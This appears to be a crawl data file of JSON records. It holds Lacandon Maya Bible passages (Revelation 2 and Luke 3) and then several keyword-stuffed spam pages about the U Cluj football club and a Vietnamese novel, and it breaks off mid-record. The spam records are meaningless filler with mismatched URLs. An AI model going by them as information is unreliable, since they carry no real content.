u bʌjob quir u c'ujinticob C'uj, tu yʌn a sietej najo'. Raji' u t'ʌn ti' a mac a cu much'quinticob u bʌj ich u cajar Efeso\n1 Caj ya'araj Jaj Ts'ur ten:\n―Juan ―quij Jaj Ts'ur―, ts'ibt a je' ju'una' ti' a pastoro' a u ts'urir a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Efeso. Ts'ibtej ti' caj a wa'arej ti': \"A teno', in mʌchmʌn tin c'ʌb a nojo', a sabo', a sietejo'. Arej ti' a ray pastoro', quin man ich a raso', a yʌn sietej u c'ʌbiro' a beta'b a taq'uin a orojo'.\n2 Arej ti' a pastoro': A teno' in wer tu cotor ba' ca betic. Quin c'ʌ'otic a ba' ca wirique', cax a tsoyo', cax a mʌ' tsoyo' tu ca muc'yaj. Quin wiric xan, mʌ' ja muc'taj a mac a cu tus camsicob u t'ʌn C'uj, mʌ' ja wacsaj a ti'ob xano'. A techo', caj a qui' tumt a wirej wa jach tuchi'ta'b ten C'uj soc u camsicob u t'ʌn. Quire', baxuc caj ya'arob tech: C'uj tu tuchi'tenob a tenobo' tech, cax mʌ' robob tuchi'ta'b ten C'uj. Caj ts'oc a tumtic a wirej a wer tan u tusiquechob.\n3 Caj a muc'taj a mac a tu tus arob tuchi'ta'b ten C'uj xan. Jach nemʌ' biquech caj a muc'taj a ti'obo'. Mʌ' ja wirej, tu ca muc'yaj caj muc'yajnʌjech, quire' ca beyaj, ten quij Jesús, mʌ' tupsa'an a wor tu ca beyaji'.\n4 Cax yʌn ba' jach tsoy caj in wiraj ti' tech, chen yʌn ba' mʌ' tsoy in wiric. Mʌ' ja wirej, tan a p'ʌtic a yaj, a Jaj Ts'uro' Jesucristo. Mʌ' ja qui' yajquinten a teno' an bic caj a yʌnxchun a yajquintiquen uch, caj a wacsaj ta wor ten.\n5 Wʌc'ʌs c'as ta bʌjiri'e', bic caj a yajquint a Jaj Ts'uro' uch. Toc c'axej a wor tan a p'ʌtiquex a c'asirex soc a man tu tsoy an ten bic caj manech uch. Wa mʌ' seb ca c'axic a wor, tan a p'ʌtic a c'asir soc je' in ruc'sic tech soc u ch'ejar a beyaj ich u cajar Efeso.\n6 Chen yʌn ba' ca betic a techo', a cu qui'quintic in woro', quire' ca p'actic a ba' cu beticob a mac a cu ya'aric nicolaítas, quire' robob caj u yacsob u si'pirob mac. Bayiri' xan, a teno' quin p'actic xan.\n7 Quin chich aric tech, ca' a quibej a ba' cu ya'aric u Taj'or u Pixam C'uj ti' a mac a ti' yʌn ich a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj. A mac a c'ucha'an yor ti' a ba' cu tumtic u yor, soc u man tu tsoyir je' u ts'abʌr ten C'uj ca' u jant u wich che' u che'er, a cu ts'ic u cuxtar mac, a tan u ch'ijir ich u cor C'ujo'.\"\nRaji' u t'ʌn Jesucristo ti' u pastorir a ti' yʌn tu cajar Esmirna\n8 Caj u ya'araj Jaj Ts'ur ten:\n―A techo' Juan ―quij Jaj Ts'ur―, ts'ibtej a ba' quin wa'aric a je' ju'una' ti' a pastoro', a ju ts'urir a yacsmʌnob tu yorob, tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Esmirna. A je'ra' in t'ʌn: \"A teno' pʌyberen ti' a mac a yʌn cuxa'an ucho'. A teno', je' in rajra' cuxtare'. A teno' quimen uch. Chen iric Juan, wʌc'ʌs cuxrajen a teno'.\"\n9 Arej ti': \"A teno', quij Jesús, in wer tu cotor ba' ca betic. A teno' quin c'ʌ'otic ba' ca wiric, cax a tsoyo', cax a mʌ' tsoyo'. Quin c'ʌ'otic bic caj muc'yajnʌjech tu cu chuquicob a pach, tu cu p'astiquechob a rac'ob, tu jach otsirchʌjech. Chen jach manan ricojech quire' raji' Cristo yʌninech. Quin c'ʌ'otic a mac a cu p'actiquechob, a cu tus aricob: U winiquirob judíojen. Raji' mʌ' taj cu ya'aricobi': U winquirob judíojen, quire' mʌ' yacsmʌnob tu yorob ti' Cristo. Robob cu ya'aric cu c'ujinticob C'uj tu chan najir, chen cu jach c'ujinticob quisin, a mac u jach c'aba' Satanás.\n10 Mʌ' a yʌn ch'ic chichin sajquir quire' tabar a muc'yaj, quire' a quisino', raji' cu bin u ts'urinticob mac soc u puriquech tu cu ma'cʌr winicob. Jun yarob techex, cu bin purbir ten quisin soc u tumtic a worex quir a p'ʌtiquex u t'ʌn C'uj. Ca' bin muc'yajnʌquex diez u q'uinin, chen a mac a mʌ' ju p'ʌtic u t'ʌn C'uj, cax quinsbir ten u rac'ob, ra' je' u ts'abʌr ten C'uj a ba' jach manan co'oj, bin u ca' ts'abʌr u cuxtar munt q'uin, soc ti' cu cuxtar ich ʌcʌtan tu wich C'uj.\n11 Quin chich aric tech ca' a quibej a ba' cu ya'aric u Taj'or u Pixam C'uj ti' a mac a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj. A mac a c'ucha'an yor ti' a ba' cu tumtic u yor, soc u man tu tsoyir, raji' mʌ' ju bin ich u c'aq'uir betnaj a ti' yʌn munt q'uin.\"\nRaji' u t'ʌn Jesucristo ti' u pastorir a ti' yʌn ich u cajar Pérgamo\n12 Caj ya'araj Jaj Ts'ur ten:\n―A techo', Juan ―quij Jaj Ts'ur―, ts'ibtej a ba' quin wa'aric ich a je' ju'una' ti' u pastorir, a ju ts'urir a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Pérgamo. Arej ti': \"A je' t'ʌna' u t'ʌn a mac a yʌn u mascab, a jach qui' yej, a yʌn ca'tur yeje'.\"\n13 Arej ti': \"A teno', in wer tu cotor ba' ca betic. A teno', quij Jaj Ts'ur, quin c'ʌ'otic ba' ca wiric, cax a tsoyo', cax a mʌ' tsoyo'. Quin c'ʌ'otic tu cotor ba' a cu tumtic a wor tu yʌnech, quire' jach c'as tu yʌnech quire' raji' cu jach ts'urinticob a Satanáso'. Mʌ' ja wirej, raji' Antipas, caj u ya'araj: A teno' quin wacsic tin wor ti' Cristo, tan in quibic u t'ʌn Cristo. Raji' tan u c'ʌ'otic u muc' Cristo, tan u ya'aric u jach c'ujintic C'uj, cax tan u chuquicob u pach Antipas. Caj quinsa'b ten u rac'ob Antipas, cax quinsbir, taj caj u yacsaj tu yor ten tu yʌn uch. Quire' tar yʌno' cu ts'urinticob quisin a winquirob ich u cajar Pérgamo.\n14 Cax yʌn ba' jach tsoy tech quin wiric. Yʌn ba' mʌ' tsoy in wiric, chen mʌ' ya'ab a mʌ' tsoyi'. Quire' yʌn mac tu yʌntech ta cajar Pérgamo cu quibicob a ba' cu camsic Balaam ti' Balac a ucho'. Mʌ' ja wirej, a ba' camsa'b ten Balaam ti' Balac caj u pʌyaj u si'pir u winquirob israel uch. Quire' tu jantob a yo'ocho' a ts'a'b ten u winquirob Balac ti' u tus c'uj, jeroj pachir, robob caj manob yejer a xquico'.\n15 Mʌ' jariri', yʌn mac tu yʌnech xan, cu sayʌrob tu pachob a ba' camsa'b ten u winquirob nicolaítas. A ba' camsa'b ti'obo' quin p'actic, quij Jesús.\n16 Rajen c'ax a wor, ca' a p'ʌt a ba' mʌ' tsoy in wiriqui'. Wa seb ca c'axic a worex, tan a p'ʌtiquex a c'asirex mʌ' jin ts'ictar techex. Quire' wa ber ca' bin in t'ʌnechex, yaj ca bin a wu'yejex in t'ʌn, an ten bic u'yex wa ja mascabo', a yʌn ca'tur yej, u'yex wa tan u ramiquechex.\n17 Quin chich aric tech, ca' a quibej a ba' cu ya'aric u Taj'or u Pixam C'uj ti' a mac a yacsmʌnob tu yor tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj. A mac a c'ucha'an yor ti' a ba' cu tar u tumtic u yor soc u man tu tsoyir, raji' je' in jansic a ba' cu cuxquintic u pixamo', a ba' a mʌ' c'ucha'an yor yiric mac. Je' in ts'ic ti' turiri' sʌc tunich, soc yer tu qui'quint in wor. Ti' ts'iba'an yoc'or a ray sʌc tunicho' u jer u c'aba', chen raji' yer u c'aba' a mac a cu c'ʌmic u chan sʌc tunichiro'.\"\nRaji' u t'ʌn Jesucristo ti' u pastorir a ti' yʌn tu cajar Tiatira\n18 Caj ya'araj Jaj Ts'ur ten:\n―A techo', Juan ―quij Jaj Ts'ur―, ts'ibtej a je' ju'una' ti' a pastoro', a ju ts'urir a yacsmʌnob tu yorob tu cu much'quinticob u bʌj quir u c'ujinticob C'uj ich u cajar Tiatira. Ts'ibtej, ca' a wa'arej ti': \"A je'ra' u t'ʌn u parar C'uj, a mac yʌn u wich ir u sasirir c'ac', rajen chʌca'an yiric tu cotor ba'. Raji' yʌn yoc xan, tu ch'ica'an irej u chuquij c'ac', robob cu rembaj irej a chʌc taq'uino', a ric'beno'.\"\n19 Arej ti' a pastoro': \"A teno', in wer tu cotor ba' ca betic. A teno', quin c'ʌ'otic a ba' ca wiric, cax a tsoyo', cax a mʌ' tsoyo'. Quin c'ʌ'otic ca yajquintic a wet acsʌ'orir. Mʌ' ca chen wacsic ta wor ti' ten, ca qui' beyaj ten xan. Ca man tu tsoyir, a je'ra' ta qui' cʌn a techo'. Nemʌ' biquech xan.\n20 Cax yʌn tech, ba' jach tsoy in wiric, yʌn ba' tech a mʌ' tsoy in wiric xan. Mʌ' ja wirej, yʌn tech tu ca much'quintic a bʌjob quir a c'ujinticob C'uj, turi' xquic, u c'aba' Jezabel. Raji' caj cha'b u camsic a wet acsʌ'orirex quire' caj u ya'araj wa ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj. Raji' caj u tus camsaj ti'ob, ca' u jantej yo'och a ts'a'b ti' u tus c'uj. Raji' xan, caj u tus camsaj ti'ob ca' manʌcob yejer mac.\n21 A ucho', caj in chich araj ti' Jezabel ca' u c'axej tu yor quir u p'ʌtic u man u yiric mac. Caj manij ya'ab u q'uinin mʌ' ju c'axa yor soc u p'ʌtic u c'asiri'.\n22 Rajen tiri', quin bin in pich'intej tu ch'ac quir u muc'yaj. Bayiri' xan, u yet manacob winic, chen robob, jach ch'ic yum muc'yaj cu bin u muc'yajob quire' tu quibob u t'ʌn Jezabel. Chen wa ber ca' bin u c'axob tu yorob, tan u p'ʌticob tu cu manob tu c'asir, tan u yac'tob u bʌj, jeroj tune', mʌ' ju tar ti'ob u muc'yajob.\n23 Quire' a mac a caj u quibob u t'ʌn Jezabel je' in cha'ic ca' quinsacob. Rajen a mac a yacsmʌnob tu yorobo' soc yerob jach sasir in wich rajen quin wiric a ba' cu tucricob, bayiri' a ba' ti' yʌn tu yorob xan. A teno', quij Jaj Ts'ur, bin in ca' in bo'ot u bo'orir u c'ʌb tu cotor a mʌ' ju chen quibob u t'ʌn Jezabel.\n24 Baje'rer, bin in ca' in t'ʌnechex a mac a mʌ' tu quibob u t'ʌn Jezabel. Quin t'ʌnicob a mac a yacmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Tiatira. Quire' mʌ' ta tumtex quir a wirex a ba' cu ya'aric ich a rac'obex, a cu jach mucu t'ʌn ti' a quisino', quire' soc a werex ba' quiri' a ti'o'. Mʌ' jin bin in ts'ʌr a pachex ca' muc'yajnʌquex quire' ti'ti' tu muc'yajnʌjechex uch.\n25 Chen tu cotor ba' a yʌn techex ti' a tajo', qui' cʌnantexi' hasta ca' bin uruquen a teno'.\n26 Arej ti'ob: A mac a c'ucha'an yorob ti' a ba' cu tar u tumtic u yorob soc u manob tu tsoyir hasta cu quimin, raji' quin bin in wacsej ca' u yam ten tu bin ocar u reyintiquenob mac tu cotor.\n27 Tu cu bin u yamtiquen u reyinticob, bin u ca' qui' reyinto'onex mac. Mʌna' mac cu bin u c'uchur u yorob to'onex, tu cotor mac bin u ca' u sʌjto'onex. A mac a cu p'actico'onex, quic bin ic ch'esicob an ten bic a cu p'ʌp'ʌch'ʌtic u p'urir yo'och ja' yejer u mascab, quire' baxuc caj teta'b ten C'uj.\n28 A teno', quij Jaj Ts'ur, iren a sab a cococh icho', a yʌj'acsʌyʌjir q'uino', a jach sasir u wicho'. A mac a c'ucha'an yor ti' a ba' cu tumtic u yor, je' in cha'ic u yocar tu yʌnen wa ber ca' bin uruquen a teno'.\n29 Quin chich aric tech ca' a quibej a ba' cu ya'aric u Taj'or u Pixam C'uj ti' a mac a yacsmʌnob tu yor tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj, soc u man tu tsoyir.\"","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV2.html","date":"2022-08-10T04:15:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571147.84\/warc\/CC-MAIN-20220810040253-20220810070253-00645.warc.gz","language":"lac","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999997615814209}","num_words":1990,"character_repetition_ratio":0.083,"word_repetition_ratio":0.113,"special_characters_ratio":0.3,"stopwords_ratio":0.499,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"3\nA Juano' ra' cu yacsic ja' tu jo'r mac cu tsec'tic u t'ʌn C'uj\n(Mt. 3.1‑12; Mr. 1.1‑8; Jn. 1.19‑28)\n1 Ra' u q'uinin ts'oc u mʌn quince u yaxq'uinin Tiberio César tan u reyinticob u ru'umin Roma. Ti' yʌn Poncio Pilato tan u ts'urinticob u ru'umin Judea. Bayiri' xan Herodes tan u ts'urinticob u ru'umin Galilea. Yits'in Herodes, Felipe, ra' u c'aba' tan u ts'urinticob u ru'umin Iturea yejer u ru'umin Traconite. Bayiri' xan Lisanias tan u ts'urinticob u ru'umin Abilinia. 2 Bayiri' xan a ray u q'uinino' ti' yʌn Anás yejer Caifás tan u ts'urinticob carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Quire' u jach ts'urirob sacerdote. A ray u q'uinino' caj ts'a'b ti' Juan ten C'uj quir u tsec'tic u t'ʌn C'uj. Raji' u parar Zacarías. Ti' cʌja'an Juan ich tʌcay ru'um caj tar u t'ʌn C'uj ti' ca' u tsec'tej. 3 Rajen Juan a cu yacsic ja' tu jo'r mac bin u ts'ectej tu nʌts'a'an u ya'arir Jordán. Caj u man ya'araj ti' a pim ca' u c'axejob tu yorob soc u p'ʌticob u c'asir quir u yacsic ja' tu jo'r soc u jawʌrob u si'pirob. 4 A ba' caj u tsec'taj Juan raji' quir u nup'ur u t'ʌn C'uj a caj u ts'ibtaj Isaías uch.\nCaj ya'araj Isaías yʌjtseq'uir u t'ʌn C'uj bin Isaías uch:\nQuij cu'yic u t'ʌn, quij Isaías. Quij cu'yic u t'ʌn mac, c'am cu tsec'tic ich tʌcay ru'um. Aro' a cu tsec'tic quij cu'yic u ya'aric: Toc rʌc ruc'sex a c'asirex, irej a mac cu tajquintic u ber soc u tar rey. Tu c'oc'ob cu tajquintic. 5 Tu c'omc'om ca' u muquej soc u tajtar. Tu cotor u witsir a ca'anano' ca' u tajquintej, bayiri' u chan p'uc wits ca' u tajquintej. Tu roch u berir ca' u tajquintej xan. 6 Abaywo' c'ucha'an yor yiric C'uj tan u p'ʌticob u man tu c'asir soc yer tu cotor mac bic tabar cu tocar ten C'uj.\nBaxuc caj ya'araj Isaías uch.\n7 Caj tarob a pimo' quir u yacsa'r ja' tu jo'rob ten Juan quire' caj u c'axob tu yorob. Caj ya'araj Juan ti' a pimo':\n―A techexo' jach c'asechex irechex can. Mʌ' ja wirej, a cano' cu puts'ur yiric cu tar quinsbir. Rajen ca tar a taquiquex a bʌj a werex sajaquechex a binex erarex. Arex ten mac caj u ya'araj techex quir a puts'urex ti' u ts'iquir C'uj?\nJuan caj ya'araj ti'ob:\n―A techexo' caj a wac'tex a bʌj quire' a werex yʌn a si'pirex. 8 Toc p'ʌtex a c'asirex tu caj a manex soc a manex tu tsoyir soc chʌca'an yiricob a rac'ob caj a jach c'axex a worex. Mʌ' a chen bin a wa'ariquex ra' in nunquirob Abraham rajen cu bin taquiquenob soc mʌ' u ts'abʌr a muc'yajex ten C'uj. Biquinin C'ujo' c'ucha'an yor u ric'sic a je' tunicha' quir u wayʌr u parar a nunquirex Abraham. 9 Chen a techexo' wa mʌ'ja betiquex a ba' cu qui'quintic yor C'uj cu p'eri'quintic techex ti' pʌc'ar u che'er a mʌ' ju wichʌncʌr. Techex a werex, a mac a yʌn u pʌc'ar che' a mʌ' ju wichʌncʌr, cu rʌc ch'ʌquic quir u puric ich c'ac'. Baxuquex xan wa techex mʌ' ca wesiquex caj a jach c'axex ta wor cu bin ts'abʌr a muc'yajex munt q'uin.\n10 Caj c'ata'b ti' ten u winiquirob judío, a mac a caj u yubob u t'ʌn:\n―Ba' tsoyir yʌn ic betic soc u taquico'onex C'uj?\n11 Caj u nunca Juan:\n―A mac mʌna' u noc' yʌn a jʌsiquex ti' wa yʌn ca'tur techex. A mac yʌn yo'och ca' u jʌsej ti' a mac mʌna' yo'och.\n12 Caj tarob ich Juan a mac a cu c'ʌmicob u taq'uin gobernador tar u purej acsabir ja' tu jo'rob caj c'ata'b ti' Juan:\n―Arej to'on ba' yʌn ic betic soc u taquico'on C'uj ij cʌjcamsʌyʌjirech.\n13 Caj ya'araj Juan:\n―A mun cu c'ata'r u bo'orir ti a rac'ob ten gobernador. Mʌ' ja ne jach nacsiquex u bo'orir. Jach taj ca waquex ti'ob.\n14 Caj tarob jun yarob soldado ich Juan u c'atejob ti':\n―Ba' yʌn ic betic soc u taquico'on C'uj, arej to'on.\nCaj u nunca Juan:\n―Mʌ' a yʌn ts'ʌriquex u pach mac quir u sijiquex a taq'uinex. Mʌ' tsoy a pʌq'uiquex u pach mac quir u ts'ic a taq'uinex. Cax mun cu bo'otiquechex gobernador qui'quintex a worex ti'.\n15 A pimo' a tan u pajicob ca' tac Cristo a tuchi'ta'b ten C'uj, u c'at seb u tar Cristo. Cu tucricob a pimo' a Juano', raji' wa Cristo a caj u ya'araj C'uj cu bin tuchi'bir. Raji' caj man u tsotsoc arob wa Juan Cristo ich tu cotor u rac'ob. 16 Caj ya'araj Juan ti' u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceojo':\n―A teno' taj quin wacsic ja' tu jo'r mac a caj u p'ʌtajob a c'aso' quire' caj u c'axajob tu yorob. Ca' bin tac Cristo, quire' tabar u tar, raji' Cristo cu bin u ts'ic techex u Taj'or u Pixam C'uj soc u ruc'sic tu cotor a c'asirex. Ca' bin tac a Cristojo' jach no'j. A teno' ―quij Juan―, mʌ' no'jen. Mʌ' ja wirej, a teno' mʌ' pataren in pitic u c'anir u pech' xʌnʌb cax u c'urewen.\n17 Caj ya'araj Juan:\n―A ca' bin tac Cristojo' je' u jʌsic techex, irechex ca ruc'siquex u sor u wich trigo. Chen a tsoyo' ra' cu p'atʌr. U wich trigo ca ric'siquex, chen u sorob ca rʌc puriquex u sor a toquiquex. A baywo' ca' bin xuruc t'ʌn ca' bin u much'quintico'onex ic Tet C'uj, a c'aso' ra' cu bin u puric ich c'ac' tu mʌ' u tupur c'ac'. Chen a tsoyo' cu bin acsa'bir ich ca'anan.\n18 A baywo' caj u chich araj ti' u rac'ob. U jer jach ya'ab tan u chich ara' ti' ten Juan tan u tsec'tic u jach tsoyir u t'ʌn C'uj. 19 A Juano' caj u q'ueyaj gobernador Herodes. Mʌ' ja wirej, caj u ch'a'aj u mu' Herodes. U rac' yits'in Felipe caj u ch'aj, Herodías u c'aba'. Yʌn u jer ba' c'asir caj u betaj, rajen caj u q'ueyaj Juan. 20 Jach manan c'as caj u ca' betaj Herodes quire' caj u chuca Juan caj u mʌcaj.\nAcsa'b ja' u jo'r Jesús ten Juan\n(Mt. 3.13‑17; Mr. 1.9‑11)\n21 Mʌ' toy chucuc Juan caj tarob a pimo' quir yacsa'r ja' tu jo'rob ten Juan, bayiri' xan acsa'b ja' tu jo'r Jesús. Caj ts'oc yacsic ja' tu jo'r Jesús quire' caj u t'ʌnaj C'uj ca'anan. Caj bin u muyarir. 22 Caj tar u Taj'or u Pixam C'uj oc yicnʌn Jesús. Caj yira yeman irej susuy caj emij. Caj yub u t'ʌn C'uj ich ca'anan. Caj ya'araj:\n―A techo' a chen in pararech, in jach yaj. Atecho' ta qui'quintaj in wor ―baxuc caj ara'b ten C'uj ich ca'anan.\nU nunquirob Jesús uch\n(Mt. 1.1‑17)\n23 Jesús tabar u chucpʌjʌr treinta u yaxq'uinin caj u yʌnxchun u beyaj u camsic u t'ʌn C'uj. Raji' u parar José, baxuc u tucric u rac'ob. A Joséjo' ra' u c'aba' u tet Elí. 24 A Elíjo' u c'aba' u tet Matat. A Matato' u c'aba' u tet Leví. A Levíjo' u c'aba' u tet Melqui. A Melquijo' u c'aba' u tet Jana. A Janajo' u c'aba' u tet José. 25 A Joséjo' u c'aba' u tet Matatías. A Matatíaso' u c'aba' u tet Amós. A Amóso' u c'aba' u tet Nahum. A Nahumo' u c'aba' u tet Esli. A Eslijo' u c'aba' u tet Nagai. 26 A Nagaijo' u c'aba' u tet Maat. A Maato' u c'aba' u tet Matatías. A Matatíaso' u c'aba' u tet Semei. A Semeijo' u c'aba' u tet José. A Joséjo' u c'aba' u tet Judá. 27 A Judájo' u c'aba' u tet Joana. A Joanajo' u c'aba' u tet Resa. A Resajo' u c'aba' u tet Zorobabel. A Zorobabelo' u c'aba' u tet Salatiel. A Salatielo' u c'aba' u tet Neri. 28 A Nerijo' u c'aba' u tet Melqui. A Melquijo' u c'aba' u tet Adi. A Adijo' u c'aba' u tet Cosam. A Cosamo' u c'aba' u tet Elmodam. A Elmodamoj u c'aba' u tet Er. 29 A Ero' u c'aba' u tet Josúe. A Josuéjo' u c'aba' u tet Eliezer. A Eliezero' u c'aba' u tet Jorim. A Jorimo' u c'aba' u tet Matat. 30 A Matato' u c'aba' u tet Leví. A Levíjo' u c'aba' u tet Simeón. A Simeóno' u c'aba' u tet Judá. A Judájo' u c'aba' u tet José. A Joséjo' u c'aba' u tet Jonán. A Jonáno' u c'aba' u tet Eliaquim. 31 A Eliaquimo' u c'aba' u tet Melea. Meleajo' u c'aba' u tet Mainán. A Maináno' u c'aba' u tet Matata. A Matatajo' u c'aba' u tet Natán. 32 A Natáno' u c'aba' u tet David. A Davido' u c'aba' u tet Isaí. A Isaíjo' u c'aba' u tet Obed. A Obedo' u c'aba' u tet Booz. A Boozo' u c'aba' u tet Salmón. A Salmóno' u c'aba' u tet Naasón. 33 A Naasóno' u c'aba' u tet Aminadab. A Aminadabo' u c'aba' u tet Aram. A Aramo' u c'aba' u tet Esrom. A Esromo' u c'aba' u tet Fares. A Fareso' u c'aba' u tet Judá. 34 A Judájo' u c'aba' u tet Jacob. A Jacobo' u c'aba' u tet Isaac. A Isaaco' u c'aba' u tet Abraham. A Abrahamo' u c'aba' u tet Taré. A Taréjo' u c'aba' u tet Nacor. 35 A Nacoro' u c'aba' u tet Serug. A Serugo' u c'aba' u tet Ragau. A Ragaujo' u c'aba' u tet Peleg. A Pelego' u c'aba' u Tet Heber. A Hebero' u c'aba' u tet Sala. 36 A Salajo' u c'aba' u tet Cainán. A Caináno' u c'aba' u tet Arfaxad. A Arfaxado' u c'aba' u tet Sem. A Semo' u c'aba' u tet Noé. A Noéjo' u c'aba' u tet Lamec. 37 A Lameco' u c'aba' u tet Matusalén. A Matusalén u c'aba' u tet Enoc. A Enoco' u c'aba' u tet Jared. A Jaredo' u c'aba' u tet Mahalaleel. A Mahalaleelo' u c'aba' u tet Cainán. 38 A Caináno' u c'aba' u tet Enós. A Enós u c'aba' u tet Set. A Seto' u c'aba' u tet Adán. A Adáno' beta'b ten C'uj.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK03.htm","date":"2022-08-15T07:37:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00739.warc.gz","language":"lac","language_score":0.9999790192,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999790191650391}","num_words":1658,"character_repetition_ratio":0.131,"word_repetition_ratio":0.025,"special_characters_ratio":0.311,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"u cluj, u cluj cfr, u cluj fc, u cluj cfr bilete, u cluj meciuri, u cluj vs cfr cluj, u cluj cfr bannere, u cluj vs sepsi, u cluj sepsi, u cluj bilete, u cluj poli iasi, u cluj transfermarkt\nU Cluj. There are any references about U Cluj in here. you can look below.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/he.onsmarthomesystem.com\/product\/1005003868178147\/african-wax-fabric-lastest-prints-100-cotton-sewing-material-high-quality-pagne-nigeria-ankara-2022-printed-for-sewing-dress","date":"2023-12-04T20:29:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100534.18\/warc\/CC-MAIN-20231204182901-20231204212901-00896.warc.gz","language":"lac","language_score":0.663279891,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 0.6632798910140991, \"ron_Latn_score\": 0.13552100956439972, \"als_Latn_score\": 0.0758514255285263, \"quc_Latn_score\": 0.06987174600362778, \"mlt_Latn_score\": 0.01712317019701004}","num_words":56,"character_repetition_ratio":0.137,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.268,"flagged_words_ratio":0.0,"lang_id_score":0.797,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"u cluj, u cluj fc, u cluj meciuri, u cluj cfr, u cluj craiova, u cluj sepsi, u cluj fotbal, u cluj fcsb, u cluj logo, u cluj transfermarkt, u cluj cfr bilete, u cluj vs cfr cluj\nU Cluj. There are any references about U Cluj in here. you can look below.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/he.onsmarthomesystem.com\/product\/4000304770881\/fashion-big-earings-women-2019-cheap-ethnic-earing-circle-stud-f1126-dangle-carey-tassels-earrings-bohemia-statement","date":"2024-02-26T18:28:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474661.10\/warc\/CC-MAIN-20240226162136-20240226192136-00034.warc.gz","language":"lac","language_score":0.9168434739,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9168434739112854, \"quc_Latn_score\": 0.030160903930664062, \"ron_Latn_score\": 0.027418969199061394, \"als_Latn_score\": 0.010395984165370464}","num_words":53,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":0.952,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"u cluj, u cluj fc, u cluj fcsb, u cluj meciuri, u cluj cfr, u cluj sepsi, u cluj vs fcsb, u cluj fotbal, u cluj craiova, u cluj bilete, u cluj transfermarkt, u cluj cfr bilete\nU Cluj. There are any references about U Cluj in here. you can look below.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/fr.onsmarthomesystem.com\/?q=U%20Cluj&title=U%20Cluj","date":"2024-03-03T20:01:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476397.24\/warc\/CC-MAIN-20240303174631-20240303204631-00458.warc.gz","language":"lac","language_score":0.8675627708,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.8675627708435059, \"ron_Latn_score\": 0.05610336735844612, \"quc_Latn_score\": 0.02336733788251877, \"als_Latn_score\": 0.021997392177581787, \"mlt_Latn_score\": 0.010240882635116577}","num_words":52,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":0.932,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"fcsb u cluj fcsb u cluj, fcsb u cluj live, fcsb cluj, u cluj vs fcsb, bilete u cluj fcsb fcsb u cluj. There are any references about fcsb u cluj in here. you can look below. fcsb u clujfcsb u cluj fcsb u cluj livefcsb u cluj live fcsb clujfcsb cluj u cluj vs fcsbu cluj vs fcsb bilete u cluj fcsbbilete u cluj fcsbfcsb u cluj, fcsb u cluj live, fcsb cluj, u cluj vs fcsb, bilete u cluj fcsb","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/beli.club\/product\/1005002696917063\/x16-6-5-inch-handheld-portable-game-console-dual-joystick-8gb-for-gba-handheld-game-players-support-tv-out-video-game-machine","date":"2024-02-21T15:44:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473518.6\/warc\/CC-MAIN-20240221134259-20240221164259-00499.warc.gz","language":"lac","language_score":0.7970425487,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.7970425486564636, \"zxx_Latn_score\": 0.17186695337295532, \"zyb_Latn_score\": 0.014076735824346542}","num_words":82,"character_repetition_ratio":0.226,"word_repetition_ratio":0.192,"special_characters_ratio":0.236,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":0.781,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"pham nhan tu tien, pham nhan tu tien tieng trung, pham nhan tu tien phan 3, pham nhan tu tien 2, pham nhan tu tien phim, pham nhan tu tien truyen, pham nhan tu tien 3, pham nhan tu tien phan 4, pham nhan tu tien truyen tranh, pham nhan tu tien thuyet minh, pham nhan tu tien phan 2, pham nhan tu tien phan 2 tap 34\nPham nhan tu tien. There are any references about Pham 